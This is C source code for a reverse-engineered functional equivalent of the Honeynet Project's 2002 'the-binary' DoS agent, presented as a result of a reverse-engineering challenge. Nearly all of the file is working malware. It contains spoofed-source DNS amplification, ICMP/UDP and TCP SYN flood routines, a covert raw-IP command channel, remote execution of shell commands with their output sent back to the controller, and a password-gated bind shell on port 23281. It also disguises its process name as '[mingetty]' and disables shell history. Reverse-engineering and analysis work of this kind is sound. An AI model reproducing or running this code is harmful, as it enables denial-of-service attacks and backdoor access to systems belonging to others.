/* the-binary.c - Reverse engineered functional equivalent of the Honeynet project's "the-binary" DoS agent. Copyright (c) 2002 Chris Eagle This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* * This file represents a reversed engineered functional * equivalent of the Honeynet projects May 2002 Reverse challenge * binary. I could not bring myself to make an exact replica * of the binary as I found the code in the original to be * somewhat appalling. In this version, I have simplified some * code that was far too convoluted and changed parameter sequences * for some of the primary functions in the program. */ #include #include #include #include #include #include #include #include #include #include #include typedef struct ip_header_t { unsigned char ip_vhl; /* header length, version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src,ip_dst; /* source and dest address */ } ip_header; typedef struct tcp_header_t { unsigned short sourcePort, destPort; unsigned int seq, ack; unsigned char offset; unsigned char flags; unsigned short window, checksum, urgent; } tcp_header; typedef struct icmp_header_t { unsigned char type, code; unsigned short checksum; unsigned short id, seq; } icmp_header; typedef struct udp_header_t { unsigned short sourcePort, destPort; unsigned short length, checksum; } udp_header; int forkPid = 0; int pid = 0; int command = 0; int multicast = 0; int hostIP; int dnsPacketLengths[] = {21, 21, 20, 21, 21, 25, 20, 20, 20}; unsigned char dnsPacketArray[] = { 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'c', 'o', 'm', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'n', 'e', 't', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'd', 'e', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'e', 'd', 'u', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'o', 'r', 'g', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'u', 's', 'c', 3, 'e', 'd', 'u', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'e', 's', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'g', 'r', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'G', 'n', 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 3, 'i', 'e', 0, 0, 6, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; extern unsigned int IPTABLE[]; void delay(int us) { struct timeval tv; tv.tv_sec = us / 1000000; tv.tv_usec = us % 1000000; select(1, NULL, NULL, NULL, &tv); } unsigned short checkSum(unsigned short *data, int len, unsigned int init) { int i; for (i = 0; len > 1; i++, len -= 2) { init += ntohs(data[i]); } if (len) { init += ntohs(data[i]) & 0xFF00; } i = (init >> 16) & 0xFFFF; init += i; return htons(~init); } int txPacket(unsigned int *sourceIP, unsigned int *destIP, unsigned char *packet, int len) { int fd = socket(AF_INET, SOCK_RAW, 0xFF); struct sockaddr_in saddr; char strDestIP[32]; unsigned int sum = 0; ip_header *ip; unsigned char *txpacket; if (fd != -1) { txpacket = (unsigned char *) malloc(len + 23); if (!txpacket) return 0; ip = (ip_header*) txpacket; memcpy(&ip->ip_src, sourceIP, 4); memcpy(&ip->ip_dst, destIP, 4); memcpy(&saddr.sin_addr, destIP, 4); saddr.sin_port = 10; saddr.sin_family = AF_INET; ip->ip_vhl = 0x45; ip->ip_ttl = 0xFA; ip->ip_p = 0x0B; ip->ip_len = htons(len + 22); ip->ip_tos = 0; ip->ip_id = random(); ip->ip_off = 0; ip->ip_sum = 0; ip->ip_sum = checkSum((unsigned short*)txpacket, 20, 0); txpacket[20] = 3; memcpy(txpacket + 22, packet, len); if (sendto(fd, txpacket, len + 22, 0, (struct sockaddr*) &saddr, sizeof(saddr)) == -1) { free(txpacket); return 0; } close(fd); free(txpacket); } else { return 0; } return 1; } int txData(unsigned int *destIPlist, unsigned char *packet, int len) { unsigned int i, *ip = destIPlist; if (multicast) { delay(4000); for (i = 0; i < 10; i++) { txPacket(&hostIP, ip, packet, len); ip++; } } else { txPacket(&hostIP, destIPlist, packet, len); } return 1; } void plus23encode(int len, unsigned char *source, unsigned char *dest) { int i; unsigned char prev = 0; for (i = 0; i < len; i++) { prev = dest[i] = source[i] + prev + 23; } } void sub23decode(int len, unsigned char *source, unsigned char *dest) { int i; unsigned char offset = 23, prev = 0; for (i = 0; i < len; i++, offset += 23) { prev += dest[i] = source[i] - prev - offset; } } void dump(int len, unsigned char *buf) { int i; for (i = 0; i < len; i++) { printf("%2d: %3d\n", i, buf[i]); } printf("\n"); } void simpleDNSflood(unsigned char dest[], unsigned char source[], unsigned char count, unsigned char portHi, unsigned char portLo, unsigned char ignoreDest, unsigned char* name) { struct sockaddr_in to; struct hostent *host; unsigned char packet[100]; unsigned int len; int fd, rc, pc, queryIndex, i; ip_header *ipHeader = (ip_header*) packet; udp_header *udpHeader = (udp_header*) (packet + sizeof(ip_header)); unsigned char *udpData = packet + sizeof(ip_header) + sizeof(udp_header); to.sin_family = AF_INET; to.sin_port = 0; if (count) count--; fd = socket(AF_INET, SOCK_RAW, 0xFF); if (fd > 0) { rc = pc = 0; memset(packet, 0, 100); while (1) { while (ignoreDest && pc == 0) { if (host = gethostbyname(name)) { memcpy(&ipHeader->ip_dst, host->h_addr_list[0], 4); memcpy(&to.sin_addr, host->h_addr_list[0], 4); pc = 40000; } else { sleep(600); } } for (queryIndex = 0; queryIndex <= 8; queryIndex++) { len = dnsPacketLengths[queryIndex]; memcpy(udpData, dnsPacketArray + queryIndex * 50, len); udpData[0] = random() % 255; udpData[1] = random() % 255; if (portHi || portLo) { udpHeader->sourcePort = htons(portHi << 8 + portLo); } else { udpHeader->sourcePort = htons(random() % 30000); } udpHeader->destPort = htons(53); udpHeader->length = htons(len + 8); udpHeader->checksum = 0; if (source[0] || source[1] || source[2] || source[3]) { memcpy(&ipHeader->ip_src, source, 4); } else { for (i = 12; i < 16; i++) { packet[i] = random() % 0xFF; } } if (!ignoreDest) { memcpy(&ipHeader->ip_dst, dest, 4); memcpy(&to.sin_addr, dest, 4); } ipHeader->ip_vhl = 0x45; ipHeader->ip_ttl = random() % 0x82 + 0x78; ipHeader->ip_id = random() % 0xFF; ipHeader->ip_p = 17; ipHeader->ip_off = 0; sendto(fd, packet, len + 28, 0, (struct sockaddr*) &to, sizeof(to)); if (count == 0) { delay(300); pc--; } else { if (rc == count) { delay(300); rc = 0; pc--; } else { rc++; } } } } } forkPid = 0; } void dnsFlood(unsigned char source[], unsigned char count, unsigned char portHi, unsigned char portLo, unsigned char useName, unsigned char* name) { struct sockaddr_in to; struct hostent *host; unsigned char packet[100]; unsigned int *tablePtr, len; int fd, rc, pc, queryIndex; ip_header *ipHeader = (ip_header*) packet; udp_header *udpHeader = (udp_header*) (packet + sizeof(ip_header)); unsigned char *udpData = packet + sizeof(ip_header) + sizeof(udp_header); to.sin_family = AF_INET; to.sin_port = 0; if (count) count--; fd = socket(AF_INET, SOCK_RAW, 0xFF); if (fd > 0) { rc = pc = 0; memset(packet, 0, 100); tablePtr = IPTABLE + (random() % 8000); while (1) { while (useName && pc == 0) { if (host = gethostbyname(name)) { memcpy(&ipHeader->ip_src, host->h_addr_list[0], 4); pc = 40000; } else { sleep(600); } } for (queryIndex = 0; queryIndex <= 8; queryIndex++) { while (*tablePtr) { memcpy(&to.sin_addr, tablePtr, 4); len = dnsPacketLengths[queryIndex]; memcpy(udpData, dnsPacketArray + queryIndex * 50, len); udpData[0] = random() % 255; udpData[1] = random() % 255; if (portHi || portLo) { udpHeader->sourcePort = htons(portHi << 8 + portLo); } else { udpHeader->sourcePort = htons(random() % 30000); } udpHeader->destPort = htons(53); udpHeader->length = htons(len + 8); udpHeader->checksum = 0; if (!useName) { memcpy(&ipHeader->ip_src, source, 4); } memcpy(&ipHeader->ip_dst, tablePtr, 4); ipHeader->ip_vhl = 0x45; ipHeader->ip_ttl = random() % 0x82 + 0x78; ipHeader->ip_id = random() % 0xFF; ipHeader->ip_p = 17; ipHeader->ip_off = 0; sendto(fd, packet, len + 28, 0, (struct sockaddr*) &to, sizeof(to)); if (count == 0) { delay(300); pc--; } else { if (rc == count) { delay(300); rc = 0; pc--; } else { rc++; } } tablePtr++; } tablePtr = IPTABLE; } } } forkPid = 0; } void icmpUdpFlood(unsigned char udpFlag, unsigned char destPort, unsigned char dest[], unsigned char source[], unsigned char ignoreDest, unsigned char* name) { struct sockaddr_in to; int flag = 0; int ebx; unsigned char msg[48]; struct hostent *host; ip_header *ipHeader = (ip_header*) msg; udp_header *udpHeader = (udp_header*) (msg + sizeof(ip_header)); icmp_header *icmpHeader = (icmp_header*) (msg + sizeof(ip_header)); unsigned char *udpData = msg + sizeof(ip_header) + sizeof(udp_header); int fd; to.sin_family = AF_INET; to.sin_port = htons(random() % 255); fd = socket(AF_INET, SOCK_RAW, 0xFF); if (fd > 0) { ipHeader->ip_vhl = 0x45; ipHeader->ip_id = 0x5504; ipHeader->ip_ttl = random() % 0x78 + 0x82; ipHeader->ip_off = 0xFE1F; memcpy(&ipHeader->ip_src, source, 4); memcpy(&ipHeader->ip_dst, dest, 4); memcpy(&to.sin_addr, dest, 4); if (udpFlag) { ipHeader->ip_p = 17; //UDP udpHeader->sourcePort = htons(random() % 255); udpHeader->destPort = htons(destPort); udpHeader->length = 0x900; udpHeader->checksum = 0; udpHeader->checksum = checkSum((unsigned short*)udpHeader, 9, 0); udpData[0] = 0x61; } else { ipHeader->ip_p = 1; //ICMP icmpHeader->type = 8; //echo request icmpHeader->code = 0; //echo request icmpHeader->checksum = 0; icmpHeader->checksum = checkSum((unsigned short*)icmpHeader, 9, 0); } ebx = 0; while (1) { if (ignoreDest && ebx <= 0) { host = gethostbyname(name); if (host) { memcpy(&ipHeader->ip_dst, host->h_addr_list[0], 4); memcpy(&to.sin_addr, host->h_addr_list[0], 4); ebx = 40000; } else { sleep(600); ebx--; continue; } } sendto(fd, msg, 29, 0, (struct sockaddr*) &to, sizeof(to)); sendto(fd, msg, 29, 0, (struct sockaddr*) &to, sizeof(to)); delay(20); ebx--; } } forkPid = 0; } void tcpSynFlood(unsigned char dest[], unsigned char portHi, unsigned char portLo, unsigned char useSource, unsigned char source[], unsigned char count, unsigned char ignoreDest, unsigned char* name) { struct sockaddr_in to; int fd, i, j; unsigned int checksum; int esi = 0; struct hostent *host; unsigned char msg[40]; ip_header *ipHeader = (ip_header*) msg; tcp_header *tcpHeader = (tcp_header*) (msg + sizeof(ip_header)); if (count) count--; srandom(time(0)); to.sin_family = AF_INET; to.sin_port = htons(random() % 255); if (!ignoreDest) { memcpy(&to.sin_addr, dest, 4); } ipHeader->ip_vhl = 0x45; ipHeader->ip_len = htons(40); ipHeader->ip_tos = 0; fd = socket(AF_INET, SOCK_RAW, 0xFF); if (fd > 0) { memcpy(&ipHeader->ip_src, source, 4); memcpy(&ipHeader->ip_dst, dest, 4); memcpy(&to.sin_addr, dest, 4); ipHeader->ip_off = 0; ipHeader->ip_p = 6; //TCP tcpHeader->ack = 0; tcpHeader->offset = 0x50; tcpHeader->flags = 2; //SYN tcpHeader->urgent = 0; tcpHeader->destPort = htons((portHi << 8) + portLo); j = 0; while (1) { if (ignoreDest && !esi) { host = gethostbyname(name); if (host) { memcpy(&ipHeader->ip_dst, host->h_addr_list[0], 4); memcpy(&to.sin_addr, host->h_addr_list[0], 4); esi = 40000; } else { sleep(600); continue; } } ipHeader->ip_id = htons(random() % 3089 + 2); tcpHeader->window = htons(random() % 1401 + 200); tcpHeader->sourcePort = htons(random() % 40000 + 1); tcpHeader->seq = htonl(random() % 40000000 + 1); ipHeader->ip_ttl = random() % 0x74 + 0x7D; if (!useSource) { for (i = 0; i < 4; i++) { ((unsigned char *)(&ipHeader->ip_src))[i] = random() % 0xFF; } } tcpHeader->checksum = 0; tcpHeader->checksum = checkSum((unsigned short*)&ipHeader->ip_src, 28, 0x06 + 0x14); sendto(fd, msg, 40, 0, (struct sockaddr*) &to, sizeof(to)); if (count == 0) { delay(300); } else if (j != count) { j++; continue; } else { delay(300); j = 0; } esi--; } //end while } //end if forkPid = 0; } int main(int argc, char **argv) { unsigned char *pDestList; int i, flag; int index; FILE *fpRedirect; int len; int clientSocket; int fdServer; int sockaddr_len = sizeof(struct sockaddr_in); int sockOptVal = 1; unsigned char command4Buf[256]; unsigned char buf[12772]; struct sockaddr_in remoteSockAddr; struct sockaddr_in localSockAddr; int destList[10]; unsigned char shellCmdBuf[400]; unsigned char codeBuf[2048]; unsigned char packet[2048]; ip_header *ipHeader = (ip_header*) packet; unsigned char *ipData = packet + sizeof(ip_header); unsigned char *ipData_2 = ipData + 2; unsigned char *cb = codeBuf; if (geteuid() != 0) exit(-1); memset(argv[0], 0, strlen(argv[0])); strcpy(argv[0], "[mingetty]"); sysv_signal(SIGCHLD, SIG_IGN); if (fork()) exit(0); setsid(); sysv_signal(SIGCHLD, SIG_IGN); if (fork()) exit(0); chdir("/"); close(0); close(1); close(2); srandom(time(0)); fdServer = socket(AF_INET, SOCK_RAW, 11); sysv_signal(SIGHUP, SIG_IGN); sysv_signal(SIGTERM, SIG_IGN); sysv_signal(SIGCHLD, SIG_IGN); sysv_signal(SIGCHLD, SIG_IGN); while (1) { len = recv(fdServer, ipHeader, 2048, 0); if (ipHeader->ip_p == 11 && *ipData == 2 && len > 200) { sub23decode(len - 22, ipData_2, codeBuf); switch (codeBuf[1]) { case 1: packet[0] = 0; packet[1] = 1; packet[2] = 7; if (forkPid) { packet[3] = 1; packet[4] = command; } else { packet[3] = 0; } plus23encode(400, packet, codeBuf); txData(destList, codeBuf, 400 + random() % 201); break; case 2: multicast = codeBuf[2]; hostIP = ipHeader->ip_dst; srandom(time(0)); index = random() % 10; for (i = 0; i <= 9; i++) { if (i != index) { pDestList = (unsigned char*) &destList[i]; if (multicast == 2) { memcpy(&destList[i], codeBuf + 3 + i * sizeof(int), 4); } else { pDestList[0] = random(); pDestList[1] = random(); pDestList[2] = random(); pDestList[3] = random(); } } } if (multicast != 2) { memcpy(&destList[multicast ? index : 0], codeBuf + 3, 4); } break; case 3: pid = fork(); if (!pid) { setsid(); sysv_signal(SIGCHLD, SIG_IGN); if (fork()) { sleep(10); kill(pid, 9); exit(0); } sprintf(packet, "/bin/csh -f -c \"%s\" 1> %s 2>&1", codeBuf + 2, "/tmp/.hj237349"); system(packet); fpRedirect = fopen("/tmp/.hj237349", "rb"); if (!fpRedirect) exit(0); flag = 0; do { len = fread(packet + 2, 1, 398, fpRedirect); packet[len + 2] = 0; if (!flag) { packet[1] = 3; flag = 1; } else { packet[1] = 4; } plus23encode(400, packet, codeBuf); txData(destList, codeBuf, 400 + random() % 201); delay(400000); } while (len); fclose(fpRedirect); unlink("/tmp/.hj237349"); exit(0); } break; case 4: if (!forkPid) { command = 4; if (forkPid = fork()) break; dnsFlood(cb + 2, 0, cb[6], cb[7], cb[8], cb + 9); exit(0); } break; case 5: if (!forkPid) { command = 5; if (forkPid = fork()) break; icmpUdpFlood(cb[2], cb[3], cb + 4, cb + 8, cb[12], cb + 13); exit(0); } break; case 6: if (!forkPid) { command = 6; sysv_signal(SIGCHLD, SIG_IGN); if (forkPid = fork()) break; setsid(); sysv_signal(SIGCHLD, SIG_IGN); localSockAddr.sin_family = AF_INET; localSockAddr.sin_port = htons(23281); localSockAddr.sin_addr.s_addr = (in_addr_t)0; sockOptVal = 1; fdServer = socket(AF_INET, SOCK_STREAM, 0); sysv_signal(SIGCHLD, SIG_IGN); sysv_signal(SIGCHLD, SIG_IGN); sysv_signal(SIGHUP, SIG_IGN); sysv_signal(SIGTERM, SIG_IGN); sysv_signal(SIGINT, SIG_IGN); setsockopt(fdServer, SOL_SOCKET, SO_REUSEADDR, &sockOptVal, sizeof(sockOptVal)); bind(fdServer, (struct sockaddr*)&localSockAddr, sizeof(localSockAddr)); listen(fdServer, 3); while (1) { clientSocket = accept(fdServer, (struct sockaddr*)&remoteSockAddr, &sockaddr_len); if (!clientSocket) break; if (fork()) continue; recv(clientSocket, buf, 19, 0); for (i = 0; i <= 18; i++) { if (buf[i] = '\r' || buf[i] == '\n') { buf[i] = 0; } else { buf[i]++; } } if (!strcmp(buf, "TfOjG")) { send(clientSocket, "\xFF\xFB\x01\x00", 4, 0); close(clientSocket); exit(1); } dup2(clientSocket, 0); dup2(clientSocket, 1); dup2(clientSocket, 2); setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1); unsetenv("HISTFILE"); setenv("TERM", "linux", 1); execl("/bin/sh", "sh", NULL); close(clientSocket); break; } exit(0); } break; case 7: pid = fork(); if (!pid) { setsid(); sysv_signal(SIGCHLD, SIG_IGN); if (fork()) { sleep(1200); kill(pid, 9); exit(0); } sprintf(packet, "/bin/csh -f -c \"%s\" ", codeBuf + 2); system(packet); exit(0); } break; case 8: if (forkPid) { kill(forkPid, 9); forkPid = 0; } break; case 9: if (!forkPid) { command = 9; if (forkPid = fork()) break; dnsFlood(cb + 2, cb[6], cb[7], cb[8], cb[9], cb + 10); exit(0); } break; case 10: if (!forkPid) { command = 10; if (forkPid = fork()) break; tcpSynFlood(cb + 2, cb[6], cb[7], cb[8], cb + 9, 0, cb[13], cb + 14); exit(0); } break; case 11: if (!forkPid) { command = 11; if (forkPid = fork()) break; tcpSynFlood(cb + 2, cb[6], cb[7], cb[8], cb + 9, cb[13], cb[14], cb + 15); exit(0); } break; case 12: if (!forkPid) { command = 12; if (forkPid = fork()) break; simpleDNSflood(cb + 2, cb + 6, cb[10], cb[11], cb[12], cb[13], cb + 14); exit(0); } break; } } delay(10000); } }